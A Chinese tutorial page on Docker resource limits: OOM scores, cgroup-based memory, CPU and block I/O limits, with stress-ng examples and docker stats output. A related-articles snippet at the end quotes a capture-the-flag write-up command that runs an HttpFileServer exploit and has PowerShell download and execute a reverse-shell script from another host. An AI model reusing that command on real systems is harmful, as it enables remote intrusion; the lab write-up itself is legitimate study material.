Docker的资源限制

文章目录

  • 一、什么是资源限制
    • 1、Docker的资源限制
    • 2、内核支持Linux功能
    • 3、OOM异常
    • 4、调整/设置进程OOM评分和优先级
      • 4.1、/proc/PID/oom_score_adj
      • 4.2、/proc/PID/oom_adj
      • 4.3、/proc/PID/oom_score
  • 二、容器的内存限制
    • 1、实现原理
    • 2、命令格式及指令参数
      • 2.1、命令格式
      • 2.2、指令参数
    • 3、案例
      • 3.1、拉取容器压测工具镜像
      • 3.2、文档的Example选项说明
      • 3.3、测试内存使用限制
      • 3.4、验证
      • 3.5、内存软限制
      • 3.6、交换分区限制
    • 4、扩大内存限制
  • 三、容器的CPU限制
    • 1、实现原理
    • 2、命令格式及指令参数
      • 2.1、命令格式
      • 2.2、指令参数
    • 3、案例
      • 3.1、启动一个进程,占用8核CPU
      • 3.2、限制容器CPU
      • 3.3、将容器运行到指定的cpu上
      • 3.4、基于cpu-shares对cpu进行切分
  • 四、容器的块I/O带宽限制
    • 1、实现原理
    • 2、指令格式及指令参数
      • 2.1、指令格式
      • 2.2、指令参数
    • 3、案例
      • 3.1、创建两个不同块I/O带宽权重的容器
      • 3.2、限制读取速率
      • 3.3、限制写入速率
      • 3.4、限制读取IOPS(每秒I/O操作次数)
      • 3.5、限制写入IOPS

一、什么是资源限制

1、Docker的资源限制

默认情况下,容器是没有资源限制的,它会尽可能地使用宿主机能够分配给它的资源。Docker提供了一种控制分配多少量的内存、CPU或阻塞I/O给一个容器的方式,即通过在docker rundocker create命令时设置运行时配置的标志。

2、内核支持Linux功能

docker info

其中许多功能都要求您的内核支持Linux功能,可以通过docker info命令来检查是否支持,如果内核中禁用了某项功能,那你可能会在下边收到一条Warning。

3、OOM异常

对于Linux主机,如果没有足够的内容来执行其他重要的系统任务,将会抛出OOM异常(内存溢出、内存泄漏、内存异常),随后系统会开始杀死进程以释放内存,凡是运行在宿主机的进程都有可能被kill,包括docker daemon和其他重要的应用程序。如果重要的系统进程被kill,会导致和该进程相关的服务全部宕机。

产生OOM异常时,Docker尝试通过调整docker守护程序上的OOM优先级来减轻这些风险,以便它比系统上的其他进程更不可能被杀死,但是容器的OOM优先级未调整时单个容器被杀死的可能性更大(不推荐调整容器的优先级这种方式)。

4、调整/设置进程OOM评分和优先级

Linux会每个进程算一个分数,最终他会将分数最高的进程kill掉

4.1、/proc/PID/oom_score_adj

  • 这个文件控制着一个进程在发生内存不足(OOM)时被内核选中杀死的倾向性。

  • 值的范围是-1000到1000。默认情况下,大多数进程的值为0。正值增加进程被选中杀掉的可能性,负值则减少这种可能性。

  • 如果设置为-1000,则表示进程永远不会被宿主机kernel kill,即便在极端的内存压力下也是如此。这个值允许用户或系统管理员根据进程的重要性来调整其在内存压力下的生存优先级。

4.2、/proc/PID/oom_adj

  • 这个文件在较老的Linux内核版本中用于类似的目的,控制进程在OOM时被杀死的优先级。

  • 它的取值范围是-17到15,作用和oom_score_adj相似,该设置参数的存在是为了和旧版本的Linux内核兼容。值越低,进程越不容易被杀死。

  • -17表示进程不会被killer终止。

4.3、/proc/PID/oom_score

  • 这个文件显示了一个经过计算的分数,反映了在内存不足情况下,内核选择终止该进程的倾向性。

  • 这个分数是基于多个因素动态计算出来的,包括oom_score_adj(或oom_adj)的值、进程当前的内存使用量、进程的CPU使用时间(user time + system time)、进程的存活时间(uptime - start time)等因素。

  • 系统在决定哪个进程应该被OOM killer终结时,会参考这个分数,分数越高,表示该进程在内存压力下被选中杀死的概率越大。通过观察这个值,管理员可以了解内核是如何评估各个进程的内存压力状况的。

二、容器的内存限制

容器可以使用的内存为:物理内存交换空间(Swap)

1、实现原理

Docker实际上是使用Linux Cgroups中的Memory Subsystem来实现的对内存资源的限制。

对于每个容器创建后,**Docker都会在Linux Cgroups的Memory Subsystem中建立一个Control Group,并将容器中的所有进程都加入到这个cgroup中。**之后Docker就可以通过对该cgroup的Memory Subsystem相关参数进行调整来实现对容器进行内存资源的限制了。

对于内存限制,Docker通过memory.limit_in_bytes属性来设置容器可用的最大内存容量,一旦容器达到这个限制,根据设置的不同,可能被终止或受到其他类型的约束。

2、命令格式及指令参数

2.1、命令格式

dcoker run [options]
#运行容器时设置
docker update [options]
#容器运行后修改

2.2、指令参数

参数描述
-m 或 -memory=容器可以使用的最大内存量。单位可以是b, k, m, g。允许的最小值为4m(4MB)。
–memory-swap容器可以使用的交换分区和物理内存大小总和,必须要在设置了物理内存限制的前提才能设置交换分区的限制。如果该参数设置未-1,则容器可以使用主机上swap的最大空间
–memory-swappiness设置容器使用交换分区的倾向性,值越高表示越倾向于使用swap分区,范围为0-100,0为能不用就不用,100为能用就用。
–kernel-memory容器可以使用的最大内核内存量,最小为4m,由于内核内存与用户空间内存隔离,因此无法与用户空间内存直接交换,因此内核内存不足的容器可能会阻塞宿主机主机资源,这会对主机和其他容器或者其他服务进程产生影响,因此不要设置内核内存大小
–memory-reservation允许指定小于–memory的软限制当Docker检测到主机上的争用或内存不足时会激活该限制,如果使用–memory-reservation,则必须将其设置为低于–memory才能使其优先。因为它是软限制,所以不能保证容器不超过限制。
–oom-kill-disable默认情况下,发生OOM时kernel会杀死容器内进程,但是可以使用该参数可以禁止oom发生在指定的容器上,仅在已设置-m选项的容器上禁用oom,如果-m参数未配置,产生oom时主机为了释放内存还会杀死进程

3、案例

如果一个容器未作内存使用限制,则该容器可以利用到系统内存最大空间,默认创建的容器没有做内存资源限制

3.1、拉取容器压测工具镜像

docker pull lorel/docker-stress-ngdocker run -it --rm lorel/docker-stress-ng -help
#查看docker-stress-ng的用法

3.2、文档的Example选项说明

stress-ng --cpu 8 --io 4 --vm 2 --vm-bytes 128M --fork 4 --timeout 10s
  • -c N, --cpu N 启动 N 个子进程( cpu )
  • --vm N 启动 N 个进程对内存进行压测
  • --vm-bytes 128M 每个子进程使用多少内存(默认 256M )

3.3、测试内存使用限制

docker run --name stress -it --rm -m 256m lorel/docker-stress-ng:latest stress --vm 2
#限制内存最多使用256M

限制内存使用最多256M

开启压测启动两个进程,每个进程使用256M

3.4、验证

docker stats stress

在这里插入图片描述

可以看到,无论启动多少个使用256M的进程做压测(这里启动了2个进程,按理会使用512MB内存),stress容器的最大内存使用量始终维持在256MB。

3.5、内存软限制

内存软限制不会真正限制到内存的使用

docker run -it --rm -m 256m --memory-reservation 128m --name test1 lorel/docker-stress-ng --vm 2 --vm-bytes 256m
docker stats
CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT   MEM %     NET I/O     BLOCK I/O         PIDS
0ffb4b8fdbde   test1     174.52%   255.9MiB / 256MiB   99.95%    648B / 0B   5.33GB / 18.1GB   5
  • -m 256m:这是内存的硬限制(hard limit),容器使用的内存不能超过这个值。
  • --memory-reservation 128m:这是内存的软限制(soft limit),尝试保证至少有这么多内存可用给容器,但实际上容器可以使用超过这个值直到达到硬限制,前提是系统中有足够的空闲内存。

3.6、交换分区限制

docker run -it --rm -m 256m --memory-swap 512m --name test1 lorel/docker-stress-ng --vm 2 --vm-bytes 256m

容器可以使用的交换分区和物理内存大小总和

必须要在设置了物理内存限制的前提才能设置交换分区的限制。

4、扩大内存限制

cat /sys/fs/cgroup/memory/memory.limit_in_bytes
9223372036854771712
#通过修改cgroup文件扩大内存限制,缩小会报错

三、容器的CPU限制

1、实现原理

Docker实际上是使用Linux Cgroups中的CPU Subsystem来实现的对CPU资源的限制。

Docker 会为每个容器在CPU Subsystem中建立一个Control Group,并且将该容器中的所有进程都加入到该cgroup中。之后Docker就可以通过对该cgroup的CPU Subsystem相关参数进行调整来实现对容器进行 CPU 资源的限制了。限制命令中的–cpu-shares参数,实际上就是在配置CPU Subsystem中某个容器所对应的Control Group中参数cpu.shares的值。

2、命令格式及指令参数

2.1、命令格式

dcoker run [options]
#运行容器时设置
docker update [options]
#容器运行后修改

2.2、指令参数

参数描述
–cpus指定容器可以使用的CPU资源比例。例如,在双核CPU主机上设置--cpus=1.5,容器理论上可使用相当于1.5个CPU的资源。若为4核,可跨核心分配,总使用量不超过1.5核心。
–cpu-period设置CPU调度周期(单位微秒),通常与--cpu-quota搭配使用,以限制容器在每个周期内的CPU使用量。
–cpu-quota在给定的--cpu-period内,设置容器可以使用的CPU时间(单位微秒)。与--cpu-period配合,实现CPU使用量的绝对控制。
–cpuset-cpus允许指定容器可运行在哪些CPU核心上,实现CPU绑定(“绑核”),提高CPU访问效率或满足特定隔离需求。
–cpuset-mems仅对具有非统一内存访问(NUMA)架构的系统有效,用于指定容器可使用的内存节点,优化内存访问速度。
–cpu-shares设置容器的CPU份额权重,与其他容器共享CPU资源时,权重高的容器将获得更多的CPU时间。默认值为1024,最大值为262144。

3、案例

3.1、启动一个进程,占用8核CPU

docker run -it --rm --name test1 lorel/docker-stress-ng --vm 1 --cpu 8 docker statsCONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O     BLOCK I/O        PIDS
7eb5882b9379   test1     812.96%   1.387GiB / 1.781GiB   77.88%    648B / 0B   4.02GB / 412MB   25

3.2、限制容器CPU

docker run -it --rm  --cpus 4 --name test1 lorel/docker-stress-ng --vm 1 --cpu 8 docker statsCONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O     BLOCK I/O        PIDS
0a1c3805e5c9   test1     398.99%   1.414GiB / 1.781GiB   79.40%    648B / 0B   1.14GB / 127MB   25toptop - 21:19:53 up  2:33,  2 users,  load average: 12.50, 9.48, 4.62
Tasks: 175 total,  17 running, 158 sleeping,   0 stopped,   0 zombie
%Cpu0  : 52.1 us,  0.3 sy,  0.0 ni, 45.5 id,  1.7 wa,  0.0 hi,  0.3 si,  0.0 st
%Cpu1  : 49.8 us,  1.4 sy,  0.0 ni, 15.2 id, 32.5 wa,  0.0 hi,  1.0 si,  0.0 st
%Cpu2  : 48.6 us,  1.7 sy,  0.0 ni,  6.2 id, 41.4 wa,  0.0 hi,  2.1 si,  0.0 st
%Cpu3  : 49.1 us,  2.1 sy,  0.0 ni,  8.0 id, 39.4 wa,  0.0 hi,  1.4 si,  0.0 st
%Cpu4  : 51.6 us,  0.7 sy,  0.0 ni, 46.0 id,  1.4 wa,  0.0 hi,  0.3 si,  0.0 st
%Cpu5  : 48.4 us,  2.4 sy,  0.0 ni,  1.4 id, 46.3 wa,  0.0 hi,  1.4 si,  0.0 st
%Cpu6  : 50.2 us,  1.0 sy,  0.0 ni, 23.9 id, 24.2 wa,  0.0 hi,  0.7 si,  0.0 st
%Cpu7  : 45.3 us,  5.9 sy,  0.0 ni, 21.1 id, 26.6 wa,  0.0 hi,  1.0 si,  0.0 st

3.3、将容器运行到指定的cpu上

docker run -it --rm  --cpus 2 --cpuset-cpus 1,3 --name test1 lorel/docker-stress-ng --vm 1 --cpu 8 docker statsCONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O     BLOCK I/O         PIDS
ee11d834dde5   test1     186.68%   1.488GiB / 1.781GiB   83.60%    648B / 0B   44.8GB / 95.7MB   25toptop - 21:27:31 up  2:41,  2 users,  load average: 14.97, 9.00, 5.77
Tasks: 176 total,  19 running, 157 sleeping,   0 stopped,   0 zombie
%Cpu0  :  0.0 us,  0.3 sy,  0.0 ni, 99.0 id,  0.0 wa,  0.0 hi,  0.7 si,  0.0 st
%Cpu1  : 87.5 us, 10.9 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  1.7 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  : 32.9 us, 46.1 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi, 21.1 si,  0.0 st
%Cpu4  :  0.0 us, 17.3 sy,  0.0 ni, 82.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu5  :  0.0 us, 12.7 sy,  0.0 ni, 79.2 id,  0.0 wa,  0.0 hi,  8.2 si,  0.0 st
%Cpu6  :  0.0 us,  0.0 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.3 si,  0.0 st
%Cpu7  :  0.0 us,  0.3 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st

3.4、基于cpu-shares对cpu进行切分

docker run -it --rm  -d --cpu-shares 1000 --name test1 lorel/docker-stress-ng --vm 1 --cpu 4 docker run -it --rm  -d --cpu-shares 500 --name test2 lorel/docker-stress-ng --vm 1 --cpu 4 docker statsCONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O     BLOCK I/O       PIDS
d6dd34edb722   test1     543.41%   819.6MiB / 1.781GiB   44.95%    648B / 0B   102MB / 154MB   13
154b07a94e2f   test2     241.15%   711.1MiB / 1.781GiB   39.00%    648B / 0B   406MB / 145MB

四、容器的块I/O带宽限制

块I/O带宽(Block I/O Bandwidth,Blkio)用于管理容器在读写磁盘时的吞吐量,Docker可通过设置权重、限制每秒字节数(B/s)和每秒I/O次数(IO/s)的方式控制容器读写盘的带宽。确保各容器之间以及与宿主机的资源使用保持合理平衡

1、实现原理

Docker利用cgroups的blkio子系统,通过修改特定cgroup目录下的控制文件来实施这些限制。这些文件通常位于/sys/fs/cgroup/blkio/目录下,具体路径会包含容器的唯一cgroup路径,如/sys/fs/cgroup/blkio/docker/<container-id>/...

  • 权重分配:通过修改blkio.weight文件。值范围为10到1000,值越大,优先级越高。
  • 每秒字节数限制:
    • 读限制:blkio.throttle.read_bps_device,格式为<major>:<minor> <bytes_per_second>
    • 写限制:blkio.throttle.write_bps_device,格式相同。
  • 每秒I/O操作限制:
    • 读IOPS限制:blkio.throttle.read_iops_device,格式同上。
    • 写IOPS限制:blkio.throttle.write_iops_device,格式相同。

2、指令格式及指令参数

2.1、指令格式

dcoker run [options]
#运行容器时设置
docker update [options]
#容器运行后修改

2.2、指令参数

指令参数描述
–blkio-weight设置容器块I/O带宽权重,影响容器相对于其他容器的I/O调度优先级。默认值为500。
–device-read-bps限制容器对指定设备的读取速率,单位可以是kbps, mbps, gbps等。
–device-write-bps限制容器对指定设备的写入速率,用法同上。
–device-read-iops限制容器对指定设备的每秒读取I/O次数。
–device-write-iops限制容器对指定设备的每秒写入I/O次数。

3、案例

3.1、创建两个不同块I/O带宽权重的容器

docker run -itd --name io1 --blkio-weight 200 centos:7
docker run -itd --name io2 --blkio-weight 600 centos:7

3.2、限制读取速率

docker run -it --device-read-bps /dev/sda:1mb centos:7

限制对/dev/sda设备的读取速率为每秒1MB

3.3、限制写入速率

docker run -it --device-write-bps /dev/sda:2mb centos:7

限制对/dev/sda设备的写入速率为每秒2MB

3.4、限制读取IOPS(每秒I/O操作次数)

docker run -it --device-read-iops /dev/sda:1000 centos:7

限制对/dev/sda设备的读取每秒不能超过1000次读I/O操作

3.5、限制写入IOPS

docker run -it --device-write-iops /dev/sda:500 centos:7

限制对/dev/sda设备的读取每秒不能超过500次写I/O操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/25136.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

htb-window-4-Optimum-HttpFileServer 2.3

nmap exploit-HttpFileServer 2.3 生成ps1反弹shell 模拟漏洞案例的请求 python 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(http://10.10.16.5/reverse.ps1)"获取flag s…

selenium-java自动化教程

文章目录 Selenium支持语言WebDriver 开始使用chromedriver模拟用户浏览访问模拟点击事件关闭弹窗&#xff0c;选中元素并点击 获取页面文本结语 Selenium Selenium是一个自动化测试工具&#xff0c;可以模拟用户操作web端浏览器的行为&#xff0c;包括点击、输入、选择等。也可…

Linux---进程/磁盘管理

文章目录 目录 文章目录 一.Linux中进程的概念 二.显示系统执行的进程 2.1: ps 命令 2.2 top 命令 三.终止进程 四.磁盘分区 一.Linux中进程的概念 在Linux中&#xff0c;进程是指操作系统中正在执行的程序的实例。每个进程都由操作系统分配了独立的内存空间&#xff0c;用于…

[数据集][目标检测]足球场足球运动员身份识别足球裁判员数据集VOC+YOLO格式312张4类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;312 标注数量(xml文件个数)&#xff1a;312 标注数量(txt文件个数)&#xff1a;312 标注类别…

调查显示各公司在 IT 安全培训方面存在差距

网络安全提供商 Hornetsecurity 最近进行的一项调查显示&#xff0c;许多组织的 IT 安全培训存在严重缺陷。 这项调查是在伦敦举行的 Infosecurity Europe 2024 期间发布的&#xff0c;调查发现 26% 的组织没有为其最终用户提供任何 IT 安全培训。 这些调查结果来自世界各地的…

阿里云活动推荐:AI 应用 DevOps 新体验

活动简介 阿里云新活动&#xff0c;体验阿里云的云效应用交付平台。体验了下&#xff0c;总体感觉还不错。平台把常规的开发过程封装成了模板&#xff0c;部署发布基本都是一键式操作&#xff0c;并且对自定义支持的比较好。 如果考虑将发布和部署搬到云上&#xff0c;可以玩一…

Directory Opus 13.6 可用的apk文件右键菜单脚本

// apk文件的右键经过adb安装的脚本,可以在多个设备中选择function OnClick(clickData) {try {// 检查是否选中了文件if (clickData.func.sourcetab.selected_files.count 0) {DOpus.Output("没有选中任何文件");return;}// 获取选中的文件名var selectedFile clic…

JSTL知识点讲解与配置

JSTL&#xff08;JavaServer Pages Standard Tag Library&#xff09;是Java EE平台中的一个标准库&#xff0c;提供了一组用于在JSP&#xff08;JavaServer Pages&#xff09;中简化和标准化常见任务的标签。这些标签封装了很多常见的JSP功能&#xff0c;可以使得JSP页面更加简…

天工开物 #14 分析时序数据:从 InfluxQL 到 SQL 的演变

近年来&#xff0c;时序数据的增长是 Data Infra 领域一个不容忽视的趋势。这主要得益于万物互联带来的自然时序数据增长&#xff0c;以及软件应用上云和自身复杂化后的可观测性需求。前者可以认为是对联网设备的可观测性&#xff0c;而可观测性主要就建构在设备或应用不断上报…

【C#】WinForm关闭新(二级)界面使主程序关闭

参考视频&#xff1a;https://www.bilibili.com/video/BV1JY4y1G7jo?p14&vd_source1c57ab1b2e551da5b65c0dfb0f05a493 1.背景介绍 主程序界面&#xff0c;点击弹出二级界面&#xff08;同时隐藏主界面&#xff09;&#xff0c;不做任何设置&#xff0c;这时关闭二级界面…

Java基础_Stream流

Java基础_Stream流 Stream流的简单使用Stream流的获取Stream流的中间方法Stream流的终结方法综合练习数字过滤字符串过滤并收集自定义对象过滤并收集 来源Gitee地址 Stream流的简单使用 public class StreamDemo01 {public static void main(String[] args) {/*** 创建集合添加…

Ubuntu虚拟机使用纯命令行对根分区进行扩展

Ubuntu虚拟机使用纯命令行对根分区进行扩展 前排提示 因为Ubuntu再安装时&#xff0c;根分区是没有使用LVM进行磁盘管理的&#xff0c;所以如果想扩展根分区&#xff0c;我们不得不使用另外一种暴力的方法。简单来说就是利用fdisk删除原来的根分区再基于原来的起始块号重新建…

C++对象池设计与实现

目录 一、对象池简介 1.1 池化技术 1.2 什么是对象池 1.3 对象池分配策略 二、C new和delete运算符重载 三、实现一个对象池框架 3.1 策略接口 四、实现几种对象池的分配策略 4.1 数组策略 4.2 堆策略 ​编辑 4.3 栈策略 4.4 区块策略 一、对象池简介 1.1 池化技…

【CS.AL】八大排序算法 —— 快速排序全揭秘:从基础到优化

文章目录 1. 快速排序简介1.1 定义1.2 时间复杂度1.3 相关资源 2. 最优的Partition算法 &#x1f525;2.1 Introsort简介2.2 过程示例 3. 非递归快速排序3.1 实现 4. 递归快速排序4.1 实现 5. 有问题的Partition5.1 实现 6. 三中位数主元选择6.1 实现 7. 总结 1. 快速排序简介 …

新增FTP功能、支持添加Redis远程数据库,专业版新增网站监控和黑金主题,1Panel开源面板v1.10.10版本发布

2024年6月7日&#xff0c;现代化、开源的Linux服务器运维管理面板1Panel发布v1.10.10版本。 在这一版本中&#xff0c;1Panel新增了多项实用功能。社区版方面&#xff0c;新增了FTP功能、支持添加Redis远程数据库、支持设置压缩密码&#xff0c;并新增了清理镜像构建缓存的功能…

[ue5]建模场景学习笔记(5)——必修内容可交互的地形,交互沙(2)

1需求分析&#xff1a; 继续制作可交互沙子内容&#xff0c;前面我们已经让角色在指定区域留下痕迹&#xff0c;那么能否让区域移动起来&#xff0c;这样才能逐步满足角色走到哪里都能产生交互痕迹&#xff0c;满足更大的地图。 2.操作实现&#xff1a; 1.首先建立角色能产生…

翻译《The Old New Thing》- How do I obtain the computer manufacturer’s name?

How do I obtain the computer manufacturers name? - The Old New Thing (microsoft.com)https://devblogs.microsoft.com/oldnewthing/20081218-00/?p19783 Raymond Chen 2008年08月08日 如何获取计算机制造商的名字&#xff1f; 一位客户想要一种方法来确定计算机制造商的…

C# .NET 异步实现方式

一、异步编程模式 .NET 提供了执行异步操作的三种模式&#xff1a; 基于任务的异步模式 (TAP) &#xff0c;该模式使用单一方法表示异步操作的开始和完成。 TAP 是在 .NET Framework 4 中引入的。 这是在 .NET 中进行异步编程的推荐方法。 C# 中的 async 和 await 关键词以及 …

HTML+CSS+JS 密码灯登录表单

效果演示 实现了一个登录页面,包括一个标题、两个输入框(用户名和密码)、一个登录按钮和一个眼睛图标。点击眼睛图标可以显示或隐藏密码。页面背景有两个圆形的半透明元素,整个页面使用了flex布局,并且在水平和垂直方向上都居中对齐。登录框使用了阴影效果和圆角边框,并且…

linux centos redis-6.2.6一键安装及配置密码

linux centos redis-6.2.6一键安装及配置密码 redis基本原理一、操作阶段&#xff0c;开始安装 redis基本原理 redis作为非关系型nosql数据库&#xff0c;一般公司会作为缓存层&#xff0c;存储唯一会话id&#xff0c;以及请求削峰作用 一、数据结构 Redis支持多种数据结构&a…